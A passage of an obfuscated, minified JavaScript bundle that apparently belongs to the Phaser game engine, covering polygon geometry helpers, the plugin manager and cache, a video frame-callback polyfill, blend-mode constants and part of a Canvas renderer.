_0x2a87f7[0x1] = _0x522428[0x1] - _0x1b2a24[0x1]; var _0x51dd70 = _0xc6dd5a[0x0] * _0x2a87f7[0x0] + _0xc6dd5a[0x1] * _0x2a87f7[0x1], _0x264684 = Math['sqrt'](_0xc6dd5a[0x0] * _0xc6dd5a[0x0] + _0xc6dd5a[0x1] * _0xc6dd5a[0x1]), _0x1cd2fd = Math['sqrt'](_0x2a87f7[0x0] * _0x2a87f7[0x0] + _0x2a87f7[0x1] * _0x2a87f7[0x1]); return Math['acos'](_0x51dd70 / (_0x264684 * _0x1cd2fd)) < _0x18bba4; } return 0x0 === _0x1081c1(_0x4c0d99, _0x1b2a24, _0x522428); } function _0x4c87c3(_0x583725, _0x42eff6) { var _0x266d22 = _0x42eff6[0x0] - _0x583725[0x0], _0x567c85 = _0x42eff6[0x1] - _0x583725[0x1]; return _0x266d22 * _0x266d22 + _0x567c85 * _0x567c85; } function _0x3f970d(_0x9d8fd3, _0x421189) { var _0x1c7228 = _0x9d8fd3['length']; return _0x9d8fd3[_0x421189 < 0x0 ? _0x421189 % _0x1c7228 + _0x1c7228 : _0x421189 % _0x1c7228]; } function _0x55449f(_0x407985, _0x29d6cf, _0xca8efc, _0x3c9a92) { for (var _0x484e61 = _0xca8efc; _0x484e61 < _0x3c9a92; _0x484e61++)_0x407985['push'](_0x29d6cf[_0x484e61]); } function _0x1dd4a2(_0x95233d, _0x4524a0) { return _0x117bda(_0x3f970d(_0x95233d, _0x4524a0 - 0x1), _0x3f970d(_0x95233d, _0x4524a0), _0x3f970d(_0x95233d, _0x4524a0 + 0x1)); } var _0x113788 = [], _0x29ba13 = []; function _0x2a93cf(_0x59bd50, _0x41e353, _0x2e5073) { var _0x47075d, _0x5b31a6, _0x40dfea = _0x113788, _0x14164f = _0x29ba13; if (_0x314edf(_0x3f970d(_0x59bd50, _0x41e353 + 0x1), _0x3f970d(_0x59bd50, _0x41e353), _0x3f970d(_0x59bd50, _0x2e5073)) && _0x2cd026(_0x3f970d(_0x59bd50, _0x41e353 - 0x1), _0x3f970d(_0x59bd50, _0x41e353), _0x3f970d(_0x59bd50, _0x2e5073))) return !0x1; _0x5b31a6 = _0x4c87c3(_0x3f970d(_0x59bd50, _0x41e353), _0x3f970d(_0x59bd50, _0x2e5073)); for (var _0x5d148e = 0x0; _0x5d148e !== _0x59bd50['length']; ++_0x5d148e)if ((_0x5d148e + 0x1) % _0x59bd50['length'] !== _0x41e353 && _0x5d148e !== _0x41e353 && _0x314edf(_0x3f970d(_0x59bd50, _0x41e353), _0x3f970d(_0x59bd50, _0x2e5073), _0x3f970d(_0x59bd50, _0x5d148e + 0x1)) && _0x2cd026(_0x3f970d(_0x59bd50, _0x41e353), _0x3f970d(_0x59bd50, _0x2e5073), _0x3f970d(_0x59bd50, _0x5d148e)) && (_0x40dfea[0x0] = _0x3f970d(_0x59bd50, _0x41e353), _0x40dfea[0x1] = _0x3f970d(_0x59bd50, _0x2e5073), _0x14164f[0x0] = _0x3f970d(_0x59bd50, _0x5d148e), _0x14164f[0x1] = _0x3f970d(_0x59bd50, _0x5d148e + 0x1), _0x47075d = _0xa9d93a(_0x40dfea, _0x14164f), _0x4c87c3(_0x3f970d(_0x59bd50, _0x41e353), _0x47075d) < _0x5b31a6)) return !0x1; return !0x0; } function _0x3d6ec2(_0x351ce3, _0x461fa0, _0x445701) { for (var _0x3a3d61 = 0x0; _0x3a3d61 !== _0x351ce3['length']; ++_0x3a3d61)if (_0x3a3d61 !== _0x461fa0 && _0x3a3d61 !== _0x445701 && (_0x3a3d61 + 0x1) % _0x351ce3['length'] !== _0x461fa0 && (_0x3a3d61 + 0x1) % _0x351ce3['length'] !== _0x445701 && _0x1bbad7(_0x3f970d(_0x351ce3, _0x461fa0), _0x3f970d(_0x351ce3, _0x445701), _0x3f970d(_0x351ce3, _0x3a3d61), _0x3f970d(_0x351ce3, _0x3a3d61 + 0x1))) return !0x1; return !0x0; } function _0x3bcac2(_0x3aa687, _0x4bce65, _0x3571a3, _0x2b3d00) { var _0x1c8ba6 = _0x2b3d00 || []; if (function (_0x3df0d9) { _0x3df0d9['length'] = 0x0; }(_0x1c8ba6), _0x4bce65 < _0x3571a3) { for (var _0x162245 = _0x4bce65; _0x162245 <= _0x3571a3; _0x162245++)_0x1c8ba6['push'](_0x3aa687[_0x162245]); } else { for (_0x162245 = 0x0; _0x162245 <= _0x3571a3; _0x162245++)_0x1c8ba6['push'](_0x3aa687[_0x162245]); for (_0x162245 = _0x4bce65; _0x162245 < _0x3aa687['length']; _0x162245++)_0x1c8ba6['push'](_0x3aa687[_0x162245]); } return _0x1c8ba6; } function _0x17d7b7(_0x3dc222) { for (var _0x87f976 = [], _0x4a12dc = [], _0x48d00c = [], _0x4a6754 = [], _0x4ef667 = Number['MAX_VALUE'], _0x54423e = 0x0; _0x54423e < _0x3dc222['length']; ++_0x54423e)if (_0x1dd4a2(_0x3dc222, _0x54423e)) { for (var _0x4d2088 = 0x0; _0x4d2088 < _0x3dc222['length']; ++_0x4d2088)if (_0x2a93cf(_0x3dc222, _0x54423e, _0x4d2088)) { _0x4a12dc = _0x17d7b7(_0x3bcac2(_0x3dc222, _0x54423e, _0x4d2088, _0x4a6754)), _0x48d00c = _0x17d7b7(_0x3bcac2(_0x3dc222, _0x4d2088, _0x54423e, _0x4a6754)); for (var _0x482238 = 0x0; _0x482238 < _0x48d00c['length']; _0x482238++)_0x4a12dc['push'](_0x48d00c[_0x482238]); _0x4a12dc['length'] < _0x4ef667 && (_0x87f976 = _0x4a12dc, _0x4ef667 = _0x4a12dc['length'], _0x87f976['push']([_0x3f970d(_0x3dc222, _0x54423e), _0x3f970d(_0x3dc222, _0x4d2088)])); } } return _0x87f976; } function _0x1e02ac(_0x40bccb, _0x474280) { if (0x0 === _0x474280['length']) return [_0x40bccb]; if (_0x474280 instanceof Array && _0x474280['length'] && _0x474280[0x0] instanceof Array && 0x2 === _0x474280[0x0]['length'] && _0x474280[0x0][0x0] instanceof Array) { for (var _0x182875 = [_0x40bccb], _0x4c0fdc = 0x0; _0x4c0fdc < _0x474280['length']; _0x4c0fdc++)for (var _0x49821a = _0x474280[_0x4c0fdc], _0x3f1940 = 0x0; _0x3f1940 < _0x182875['length']; _0x3f1940++) { var _0x24b87f = _0x1e02ac(_0x182875[_0x3f1940], _0x49821a); if (_0x24b87f) { _0x182875['splice'](_0x3f1940, 0x1), _0x182875['push'](_0x24b87f[0x0], _0x24b87f[0x1]); break; } } return _0x182875; } return _0x49821a = _0x474280, _0x4c0fdc = _0x40bccb['indexOf'](_0x49821a[0x0]), _0x3f1940 = _0x40bccb['indexOf'](_0x49821a[0x1]), -0x1 !== _0x4c0fdc && -0x1 !== _0x3f1940 && [_0x3bcac2(_0x40bccb, _0x4c0fdc, _0x3f1940), _0x3bcac2(_0x40bccb, _0x3f1940, _0x4c0fdc)]; } function _0x26e7b2(_0x2fb8c1, _0x33f89a, _0x620faa, _0x198f79, _0x1a84a1) { _0x1a84a1 = _0x1a84a1 || 0x0; var _0x150a2d = _0x33f89a[0x1] - _0x2fb8c1[0x1], _0x29be62 = _0x2fb8c1[0x0] - _0x33f89a[0x0], _0x44f7f8 = _0x150a2d * _0x2fb8c1[0x0] + _0x29be62 * _0x2fb8c1[0x1], _0x45b122 = _0x198f79[0x1] - _0x620faa[0x1], _0x4218e8 = _0x620faa[0x0] - _0x198f79[0x0], _0x3dcb3d = _0x45b122 * _0x620faa[0x0] + _0x4218e8 * _0x620faa[0x1], _0x43e643 = _0x150a2d * _0x4218e8 - _0x45b122 * _0x29be62; return _0xae40b2(_0x43e643, 0x0, _0x1a84a1) ? [0x0, 0x0] : [(_0x4218e8 * _0x44f7f8 - _0x29be62 * _0x3dcb3d) / _0x43e643, (_0x150a2d * _0x3dcb3d - _0x45b122 * _0x44f7f8) / _0x43e643]; } function _0xae40b2(_0x212fee, _0x356b82, _0x193aae) { return _0x193aae = _0x193aae || 0x0, Math['abs'](_0x212fee - _0x356b82) <= _0x193aae; } function _0x2239b6(_0x4ed5b9, _0x1bf4fe, _0x3d1d5b) { return _0xae40b2(_0x4ed5b9[0x0], _0x1bf4fe[0x0], _0x3d1d5b) && _0xae40b2(_0x4ed5b9[0x1], _0x1bf4fe[0x1], _0x3d1d5b); } }, 0xcb32: (_0x5705a7, _0x8e4250, _0x3768b8) => { var _0x20ed57 = new (_0x3768b8(0x145db))({ 'initialize': function (_0x46b108) { this['pluginManager'] = _0x46b108, this['game'] = _0x46b108['game']; }, 'init': function () { }, 'start': function () { }, 'stop': function () { }, 'destroy': function () { this['pluginManager'] = null, this['game'] = null, this['scene'] = null, this['systems'] = null; } }); _0x5705a7['exports'] = _0x20ed57; }, 0xa57b: _0x44a61c => { _0x44a61c['exports'] = { 'Global': ['game', 'anims', 'cache', 'plugins', 'registry', 'scale', 'sound', 'textures', 'renderer'], 'CoreScene': ['EventEmitter', 'CameraManager', 'GameObjectCreator', 'GameObjectFactory', 'ScenePlugin', 'DisplayList', 'UpdateList'], 'DefaultScene': ['Clock', 'DataManagerPlugin', 'InputPlugin', 'Loader', 'TweenManager', 'LightsPlugin'] }; }, 0x919d: _0x2bf972 => { var _0x1b7a4d = {}, _0x62907b = {}, _0xbdaa86 = { 'register': function (_0x57f50b, _0x2b398b, _0x4d7c03, _0x2b19aa) { void 0x0 === _0x2b19aa && (_0x2b19aa = !0x1), _0x1b7a4d[_0x57f50b] = { 'plugin': _0x2b398b, 'mapping': _0x4d7c03, 'custom': _0x2b19aa }; }, 'registerCustom': function (_0x8c3ff9, _0x10faf6, _0xfc6257, _0x1667ea) { _0x62907b[_0x8c3ff9] = { 'plugin': _0x10faf6, 'mapping': _0xfc6257, 'data': _0x1667ea }; }, 'hasCore': function (_0x457091) { return _0x1b7a4d['hasOwnProperty'](_0x457091); }, 'hasCustom': function (_0x5b1d3e) { return _0x62907b['hasOwnProperty'](_0x5b1d3e); }, 'getCore': function (_0x339107) { return _0x1b7a4d[_0x339107]; }, 'getCustom': function (_0x30d651) { return _0x62907b[_0x30d651]; }, 'getCustomClass': function (_0x15ec5b) { return _0x62907b['hasOwnProperty'](_0x15ec5b) ? _0x62907b[_0x15ec5b]['plugin'] : null; }, 'remove': function (_0x327f39) { _0x1b7a4d['hasOwnProperty'](_0x327f39) && delete _0x1b7a4d[_0x327f39]; }, 'removeCustom': function (_0x1d7dd9) { _0x62907b['hasOwnProperty'](_0x1d7dd9) && delete _0x62907b[_0x1d7dd9]; }, 'destroyCorePlugins': function () { for (var _0xcfb03b in _0x1b7a4d) _0x1b7a4d['hasOwnProperty'](_0xcfb03b) && delete _0x1b7a4d[_0xcfb03b]; }, 'destroyCustomPlugins': function () { for (var _0x564366 in _0x62907b) _0x62907b['hasOwnProperty'](_0x564366) && delete _0x62907b[_0x564366]; } }; _0x2bf972['exports'] = _0xbdaa86; }, 0x12e14: (_0x354ec6, _0xcff25f, _0x2c1b0c) => { var _0x59462f = _0x2c1b0c(0x145db), _0x2fb876 = _0x2c1b0c(0x20fb), _0x5bd333 = _0x2c1b0c(0xc668), _0x13301a = _0x2c1b0c(0x12173), _0x49ae2f = _0x2c1b0c(0xae3b), _0x3623c3 = _0x2c1b0c(0x9a05), _0x5cf917 = _0x2c1b0c(0x17534), _0x5be731 = _0x2c1b0c(0x919d), _0x53d79a = _0x2c1b0c(0x11cc9), _0x3acf36 = new _0x59462f({ 'Extends': _0x5bd333, 'initialize': function (_0x26faa5) { _0x5bd333['call'](this), this['game'] = _0x26faa5, this['plugins'] = [], this['scenePlugins'] = [], this['_pendingGlobal'] = [], this['_pendingScene'] = [], _0x26faa5['isBooted'] ? this['boot']() : _0x26faa5['events']['once'](_0x2fb876['BOOT'], this['boot'], this); }, 'boot': function () { var _0x4b94d7, _0x4d2122, _0x382cd2, _0xee430c, _0x2ad5a9, _0x187119, _0x3d3f1b, _0x54818c = this['game']['config'], _0x101783 = _0x54818c['installGlobalPlugins']; for (_0x101783 = _0x101783['concat'](this['_pendingGlobal']), _0x4b94d7 = 0x0; _0x4b94d7 < _0x101783['length']; _0x4b94d7++)_0x4d2122 = _0x101783[_0x4b94d7], _0x382cd2 = _0x5cf917(_0x4d2122, 'key', null), _0xee430c = _0x5cf917(_0x4d2122, 'plugin', null), _0x2ad5a9 = _0x5cf917(_0x4d2122, 'start', !0x1), _0x187119 = _0x5cf917(_0x4d2122, 'mapping', null), _0x3d3f1b = _0x5cf917(_0x4d2122, 'data', null), _0x382cd2 && _0xee430c && this['install'](_0x382cd2, _0xee430c, _0x2ad5a9, _0x187119, _0x3d3f1b); for (_0x101783 = (_0x101783 = _0x54818c['installScenePlugins'])['concat'](this['_pendingScene']), _0x4b94d7 = 0x0; _0x4b94d7 < _0x101783['length']; _0x4b94d7++)_0x4d2122 = _0x101783[_0x4b94d7], _0x382cd2 = _0x5cf917(_0x4d2122, 'key', null), _0xee430c = _0x5cf917(_0x4d2122, 'plugin', null), _0x187119 = _0x5cf917(_0x4d2122, 'mapping', null), _0x382cd2 && _0xee430c && this['installScenePlugin'](_0x382cd2, _0xee430c, _0x187119); this['_pendingGlobal'] = [], this['_pendingScene'] = [], this['game']['events']['once'](_0x2fb876['DESTROY'], this['destroy'], this); }, 'addToScene': function (_0x4e01f4, _0x232b8d, _0x4c3590) { var _0x50bc31, _0x104bac, _0x593c51, _0x1aa5a4 = this['game'], _0x4df1c2 = _0x4e01f4['scene'], _0x66b8fc = _0x4e01f4['settings']['map'], _0x43d6d9 = _0x4e01f4['settings']['isBooted']; for (_0x50bc31 = 0x0; _0x50bc31 < _0x232b8d['length']; _0x50bc31++)_0x1aa5a4[_0x104bac = _0x232b8d[_0x50bc31]] ? (_0x4e01f4[_0x104bac] = _0x1aa5a4[_0x104bac], _0x66b8fc['hasOwnProperty'](_0x104bac) && (_0x4df1c2[_0x66b8fc[_0x104bac]] = _0x4e01f4[_0x104bac])) : 'game' === _0x104bac && _0x66b8fc['hasOwnProperty'](_0x104bac) && (_0x4df1c2[_0x66b8fc[_0x104bac]] = _0x1aa5a4); for (var _0x187e46 = 0x0; _0x187e46 < _0x4c3590['length']; _0x187e46++)for (_0x593c51 = _0x4c3590[_0x187e46], _0x50bc31 = 0x0; _0x50bc31 < _0x593c51['length']; _0x50bc31++)if (_0x104bac = _0x593c51[_0x50bc31], _0x5be731['hasCore'](_0x104bac)) { var _0x1e9e5f = _0x5be731['getCore'](_0x104bac), _0x7a7837 = _0x1e9e5f['mapping'], _0x1cfcbb = new _0x1e9e5f['plugin'](_0x4df1c2, this, _0x7a7837); _0x4e01f4[_0x7a7837] = _0x1cfcbb, _0x1e9e5f['custom'] ? _0x4df1c2[_0x7a7837] = _0x1cfcbb : _0x66b8fc['hasOwnProperty'](_0x7a7837) && (_0x4df1c2[_0x66b8fc[_0x7a7837]] = _0x1cfcbb), _0x43d6d9 && _0x1cfcbb['boot'](); } for (_0x593c51 = this['plugins'], _0x50bc31 = 0x0; _0x50bc31 < _0x593c51['length']; _0x50bc31++) { var _0x49a449 = _0x593c51[_0x50bc31]; _0x49a449['mapping'] && (_0x4df1c2[_0x49a449['mapping']] = _0x49a449['plugin']); } }, 'getDefaultScenePlugins': function () { var _0x2fac3a = this['game']['config']['defaultPlugins']; return _0x2fac3a = _0x2fac3a['concat'](this['scenePlugins']); }, 'installScenePlugin': function (_0x3b8062, _0x4bda0f, _0x3ee4ed, _0x5d5fd8, _0x248c72) { if (void 0x0 === _0x248c72 && (_0x248c72 = !0x1), 'function' == typeof _0x4bda0f) { if (_0x5be731['hasCore'](_0x3b8062) || _0x5be731['register'](_0x3b8062, _0x4bda0f, _0x3ee4ed, !0x0), -0x1 === this['scenePlugins']['indexOf'](_0x3b8062)) this['scenePlugins']['push'](_0x3b8062); else { if (!_0x248c72 && _0x5be731['hasCore'](_0x3b8062)) return; } if (_0x5d5fd8) { var _0x71db8c = new _0x4bda0f(_0x5d5fd8, this, _0x3b8062); _0x5d5fd8['sys'][_0x3b8062] = _0x71db8c, _0x3ee4ed && '' !== _0x3ee4ed && (_0x5d5fd8[_0x3ee4ed] = _0x71db8c), _0x71db8c['boot'](); } } }, 'install': function (_0x180a56, _0x231eac, _0x1e3662, _0x494570, _0x20094a) { if (void 0x0 === _0x1e3662 && (_0x1e3662 = !0x1), void 0x0 === _0x494570 && (_0x494570 = null), void 0x0 === _0x20094a && (_0x20094a = null), 'function' != typeof _0x231eac) return null; if (_0x5be731['hasCustom'](_0x180a56)) return null; if (null !== _0x494570 && (_0x1e3662 = !0x0), this['game']['isBooted']) { if (_0x5be731['registerCustom'](_0x180a56, _0x231eac, _0x494570, _0x20094a), _0x1e3662) return this['start'](_0x180a56); } else this['_pendingGlobal']['push']({ 'key': _0x180a56, 'plugin': _0x231eac, 'start': _0x1e3662, 'mapping': _0x494570, 'data': _0x20094a }); return null; }, 'getIndex': function (_0x42dcbf) { for (var _0x52753a = this['plugins'], _0x4dd411 = 0x0; _0x4dd411 < _0x52753a['length']; _0x4dd411++)if (_0x52753a[_0x4dd411]['key'] === _0x42dcbf) return _0x4dd411; return -0x1; }, 'getEntry': function (_0x42eb29) { var _0x3d1100 = this['getIndex'](_0x42eb29); if (-0x1 !== _0x3d1100) return this['plugins'][_0x3d1100]; }, 'isActive': function (_0x171807) { var _0xad9aaa = this['getEntry'](_0x171807); return _0xad9aaa && _0xad9aaa['active']; }, 'start': function (_0x1b83b4, _0x4e4b1b) { void 0x0 === _0x4e4b1b && (_0x4e4b1b = _0x1b83b4); var _0x304d73 = this['getEntry'](_0x4e4b1b); return _0x304d73 && !_0x304d73['active'] ? (_0x304d73['active'] = !0x0, _0x304d73['plugin']['start']()) : _0x304d73 || (_0x304d73 = this['createEntry'](_0x1b83b4, _0x4e4b1b)), _0x304d73 ? _0x304d73['plugin'] : null; }, 'createEntry': function (_0xd23e40, _0x7f8243) { var _0x16fed3 = _0x5be731['getCustom'](_0xd23e40); if (_0x16fed3) { var _0x173068 = new _0x16fed3['plugin'](this); _0x16fed3 = { 'key': _0x7f8243, 'plugin': _0x173068, 'active': !0x0, 'mapping': _0x16fed3['mapping'], 'data': _0x16fed3['data'] }, this['plugins']['push'](_0x16fed3), _0x173068['init'](_0x16fed3['data']), _0x173068['start'](); } return _0x16fed3; }, 'stop': function (_0x237f97) { var _0x2660ac = this['getEntry'](_0x237f97); return _0x2660ac && _0x2660ac['active'] && (_0x2660ac['active'] = !0x1, _0x2660ac['plugin']['stop']()), this; }, 'get': function (_0x49ce17, _0x193fa1) { void 0x0 === _0x193fa1 && (_0x193fa1 = !0x0); var _0x225c02 = this['getEntry'](_0x49ce17); if (_0x225c02) return _0x225c02['plugin']; var _0x211b07 = this['getClass'](_0x49ce17); return _0x211b07 && _0x193fa1 ? (_0x225c02 = this['createEntry'](_0x49ce17, _0x49ce17)) ? _0x225c02['plugin'] : null : _0x211b07 || null; }, 'getClass': function (_0x1cd9b2) { return _0x5be731['getCustomClass'](_0x1cd9b2); }, 'removeGlobalPlugin': function (_0x3d3faa) { var _0x4c42c0 = this['getEntry'](_0x3d3faa); _0x4c42c0 && _0x53d79a(this['plugins'], _0x4c42c0), _0x5be731['removeCustom'](_0x3d3faa); }, 'removeScenePlugin': function (_0x4fb0c0) { _0x53d79a(this['scenePlugins'], _0x4fb0c0), _0x5be731['remove'](_0x4fb0c0); }, 'registerGameObject': function (_0x232f65, _0xa1fb01, _0x2678d1) { return _0xa1fb01 && _0x3623c3['register'](_0x232f65, _0xa1fb01), _0x2678d1 && _0x49ae2f['register'](_0x232f65, _0x2678d1), this; }, 'removeGameObject': function (_0x1d04ab, _0x7cafdd, _0x5ee2f1) { return void 0x0 === _0x7cafdd && (_0x7cafdd = !0x0), void 0x0 === _0x5ee2f1 && (_0x5ee2f1 = !0x0), _0x7cafdd && _0x3623c3['remove'](_0x1d04ab), _0x5ee2f1 && _0x49ae2f['remove'](_0x1d04ab), this; }, 'registerFileType': function (_0x3702f7, _0x9284a1, _0x1c1b94) { _0x13301a['register'](_0x3702f7, _0x9284a1), _0x1c1b94 && _0x1c1b94['sys']['load'] && (_0x1c1b94['sys']['load'][_0x3702f7] = _0x9284a1); }, 'destroy': function () { for (var _0x332aa9 = 0x0; _0x332aa9 < this['plugins']['length']; _0x332aa9++)this['plugins'][_0x332aa9]['plugin']['destroy'](); _0x5be731['destroyCustomPlugins'](), this['game']['noReturn'] && _0x5be731['destroyCorePlugins'](), this['game'] = null, this['plugins'] = [], this['scenePlugins'] = []; } }); _0x354ec6['exports'] = _0x3acf36; }, 0xb059: (_0x380197, _0x28563e, _0x493a19) => { var _0x2b495f = _0x493a19(0xcb32), _0x572dfa = _0x493a19(0x145db), _0x21c82e = _0x493a19(0xae32), _0x5f020c = new _0x572dfa({ 'Extends': _0x2b495f, 'initialize': function (_0x21ef2d, _0x5edee0, _0x58e736) { _0x2b495f['call'](this, _0x5edee0), this['scene'] = _0x21ef2d, this['systems'] = _0x21ef2d['sys'], this['pluginKey'] = _0x58e736, _0x21ef2d['sys']['events']['once'](_0x21c82e['BOOT'], this['boot'], this); }, 'boot': function () { }, 'destroy': function () { this['pluginManager'] = null, this['game'] = null, this['scene'] = null, this['systems'] = null; } }); _0x380197['exports'] = _0x5f020c; }, 0x49ea: (_0x180bcd, _0x37f7b8, _0x288d27) => { _0x180bcd['exports'] = { 'BasePlugin': _0x288d27(0xcb32), 'DefaultPlugins': _0x288d27(0xa57b), 'PluginCache': _0x288d27(0x919d), 'PluginManager': _0x288d27(0x12e14), 'ScenePlugin': _0x288d27(0xb059) }; }, 0xf86b: () => { 'undefined' != typeof HTMLVideoElement && !('requestVideoFrameCallback' in HTMLVideoElement['prototype']) && 'getVideoPlaybackQuality' in HTMLVideoElement['prototype'] && (HTMLVideoElement['prototype']['_rvfcpolyfillmap'] = {}, HTMLVideoElement['prototype']['requestVideoFrameCallback'] = function (_0x9fbdf2) { const _0x297420 = performance['now'](), _0x441073 = this['getVideoPlaybackQuality'](), _0x21d0cc = this['mozPresentedFrames'] || this['mozPaintedFrames'] || _0x441073['totalVideoFrames'] - _0x441073['droppedVideoFrames'], _0x4c5187 = (_0x1708fe, _0x4b706c) => { const _0x5e6bdf = this['getVideoPlaybackQuality'](), _0xc73ea2 = this['mozPresentedFrames'] || this['mozPaintedFrames'] || _0x5e6bdf['totalVideoFrames'] - _0x5e6bdf['droppedVideoFrames']; if (_0xc73ea2 > _0x21d0cc) { const _0x1534d7 = this['mozFrameDelay'] || _0x5e6bdf['totalFrameDelay'] - _0x441073['totalFrameDelay'] || 0x0, _0x24b1a8 = _0x4b706c - _0x1708fe; _0x9fbdf2(_0x4b706c, { 'presentationTime': _0x4b706c + 0x3e8 * _0x1534d7, 'expectedDisplayTime': _0x4b706c + _0x24b1a8, 'width': this['videoWidth'], 'height': this['videoHeight'], 'mediaTime': Math['max'](0x0, this['currentTime'] || 0x0) + _0x24b1a8 / 0x3e8, 'presentedFrames': _0xc73ea2, 'processingDuration': _0x1534d7 }), delete this['_rvfcpolyfillmap'][_0x297420]; } else this['_rvfcpolyfillmap'][_0x297420] = requestAnimationFrame(_0x26023e => _0x4c5187(_0x4b706c, _0x26023e)); }; return this['_rvfcpolyfillmap'][_0x297420] = requestAnimationFrame(_0x30660e => _0x4c5187(_0x297420, _0x30660e)), _0x297420; }, HTMLVideoElement['prototype']['cancelVideoFrameCallback'] = function (_0x5d6ff2) { cancelAnimationFrame(this['_rvfcpolyfillmap'][_0x5d6ff2]), delete this['_rvfcpolyfillmap'][_0x5d6ff2]; }); }, 0x2848: _0x333f1c => { _0x333f1c['exports'] = { 'SKIP_CHECK': -0x1, 'NORMAL': 0x0, 'ADD': 0x1, 'MULTIPLY': 0x2, 'SCREEN': 0x3, 'OVERLAY': 0x4, 'DARKEN': 0x5, 'LIGHTEN': 0x6, 'COLOR_DODGE': 0x7, 'COLOR_BURN': 0x8, 'HARD_LIGHT': 0x9, 'SOFT_LIGHT': 0xa, 'DIFFERENCE': 0xb, 'EXCLUSION': 0xc, 'HUE': 0xd, 'SATURATION': 0xe, 'COLOR': 0xf, 'LUMINOSITY': 0x10, 'ERASE': 0x11, 'SOURCE_IN': 0x12, 'SOURCE_OUT': 0x13, 'SOURCE_ATOP': 0x14, 'DESTINATION_OVER': 0x15, 'DESTINATION_IN': 0x16, 'DESTINATION_OUT': 0x17, 'DESTINATION_ATOP': 0x18, 'LIGHTER': 0x19, 'COPY': 0x1a, 'XOR': 0x1b }; }, 0x7463: _0x527784 => { _0x527784['exports'] = { 'DEFAULT': 0x0, 'LINEAR': 0x0, 'NEAREST': 0x1 }; }, 0x10c13: (_0x1cb565, _0x1e9d45, _0x5e3026) => { var _0x2549b4 = _0x5e3026(0x4d03), _0x39a0b8 = _0x5e3026(0x8070), _0x53d2bb = _0x5e3026(0x145db), _0x46b025 = _0x5e3026(0x1f76), _0x4f96cd = _0x5e3026(0xc668), _0x16ad52 = _0x5e3026(0x16957), _0x3b573a = _0x5e3026(0xdc35), _0x271820 = _0x5e3026(0x17cc8), _0x965d7a = _0x5e3026(0x10f42), _0x58b9ed = _0x5e3026(0xef9c), _0x19c894 = new _0x53d2bb({ 'Extends': _0x4f96cd, 'initialize': function (_0x3b3116) { _0x4f96cd['call'](this); var _0x2ec864 = _0x3b3116['config']; this['config'] = { 'clearBeforeRender': _0x2ec864['clearBeforeRender'], 'backgroundColor': _0x2ec864['backgroundColor'], 'antialias': _0x2ec864['antialias'], 'roundPixels': _0x2ec864['roundPixels'] }, this['game'] = _0x3b3116, this['type'] = _0x46b025['CANVAS'], this['drawCount'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['gameCanvas'] = _0x3b3116['canvas']; var _0x1461ef = { 'alpha': _0x3b3116['config']['transparent'], 'desynchronized': _0x3b3116['config']['desynchronized'], 'willReadFrequently': !0x1 }; this['gameContext'] = _0x2ec864['context'] ? _0x2ec864['context'] : this['gameCanvas']['getContext']('2d', _0x1461ef), this['currentContext'] = this['gameContext'], this['antialias'] = _0x3b3116['config']['antialias'], this['blendModes'] = _0x3b573a(), this['snapshotState'] = { 'x': 0x0, 'y': 0x0, 'width': 0x1, 'height': 0x1, 'getPixel': !0x1, 'callback': null, 'type': 'image/png', 'encoder': 0.92 }, this['_tempMatrix1'] = new _0x58b9ed(), this['_tempMatrix2'] = new _0x58b9ed(), this['_tempMatrix3'] = new _0x58b9ed(), this['isBooted'] = !0x1, this['init'](); }, 'init': function () { this['game']['textures']['once'](_0x965d7a['READY'], this['boot'], this); }, 'boot': function () { var _0x33dcdf = this['game'], _0x3f55a8 = _0x33dcdf['scale']['baseSize']; this['width'] = _0x3f55a8['width'], this['height'] = _0x3f55a8['height'], this['isBooted'] = !0x0, _0x33dcdf['scale']['on'](_0x271820['RESIZE'], this['onResize'], this), this['resize'](_0x3f55a8['width'], _0x3f55a8['height']); }, 'onResize': function (_0xb72852, _0x2fa94a) { _0x2fa94a['width'] === this['width'] && _0x2fa94a['height'] === this['height'] || this['resize'](_0x2fa94a['width'], _0x2fa94a['height']); }, 'resize': function (_0x30a8c7, _0x3ab456) { this['width'] = _0x30a8c7, this['height'] = _0x3ab456, this['emit'](_0x16ad52['RESIZE'], _0x30a8c7, _0x3ab456); }, 'resetTransform': function () { this['currentContext']['setTransform'](0x1, 0x0, 0x0, 0x1, 0x0, 0x0); }, 'setBlendMode': function (_0x2d91d4) { return this['currentContext']['globalCompositeOperation'] = _0x2d91d4, this; }, 'setContext': function (_0x1771df) { return this['currentContext'] = _0x1771df || this['gameContext'], this; }, 'setAlpha': function (_0x4686c6) { return this['currentContext']['globalAlpha'] = _0x4686c6, this; }, 'preRender': function () { var _0x505121 = this['gameContext'], _0x30a96b = this['config'], _0x52e33e = this['width'], _0x1c649c = this['height']; _0x505121['globalAlpha'] = 0x1, _0x505121['globalCompositeOperation'] = 'source-over', _0x505121['setTransform'](0x1, 0x0, 0x0, 0x1, 0x0, 0x0), this['emit'](_0x16ad52['PRE_RENDER_CLEAR']), _0x30a96b['clearBeforeRender'] && (_0x505121['clearRect'](0x0, 0x0, _0x52e33e, _0x1c649c), _0x30a96b['transparent'] || (_0x505121['fillStyle'] = _0x30a96b['backgroundColor']['rgba'], _0x505121['fillRect'](0x0, 0x0, _0x52e33e, _0x1c649c))), _0x505121['save'](), this['drawCount'] = 0x0, this['emit'](_0x16ad52['PRE_RENDER']); }, 'render': function (_0x204970, _0x7bd12d, _0x527229) { var _0x4f7be9 = _0x7bd12d['length']; this['emit'](_0x16ad52['RENDER'], _0x204970, _0x527229); var _0x196635 = _0x527229['x'], _0x546a3c = _0x527229['y'], _0x18d719 = _0x527229['width'], _0x41731e = _0x527229['height'], _0x5d25e4 = _0x527229['renderToTexture'] ? _0x527229['context'] : _0x204970['sys']['context']; _0x5d25e4['save'](), this['game']['scene']['customViewports'] && (_0x5d25e4['beginPath'](), _0x5d25e4['rect'](_0x196635, _0x546a3c, _0x18d719, _0x41731e), _0x5d25e4['clip']()), _0x527229['emit'](_0x2549b4['PRE_RENDER'], _0x527229), this['currentContext'] = _0x5d25e4; var _0x2647e9 = _0x527229['mask']; _0x2647e9 && _0x2647e9['preRenderCanvas'](this, null, _0x527229['_maskCamera']), _0x527229['transparent'] || (_0x5d25e4['fillStyle'] = _0x527229['backgroundColor']['rgba'], _0x5d25e4['fillRect'](_0x196635, _0x546a3c, _0x18d719, _0x41731e)), _0x5d25e4['globalAlpha'] = _0x527229['alpha'], _0x5d25e4['globalCompositeOperation'] = 'source-over', this['drawCount'] += _0x4f7be9, _0x527229['renderToTexture'] && _0x527229['emit'](_0x2549b4['PRE_RENDER'], _0x527229), _0x527229['matrix']['copyToContext'](_0x5d25e4); for (var _0x29b11e = 0x0; _0x29b11e < 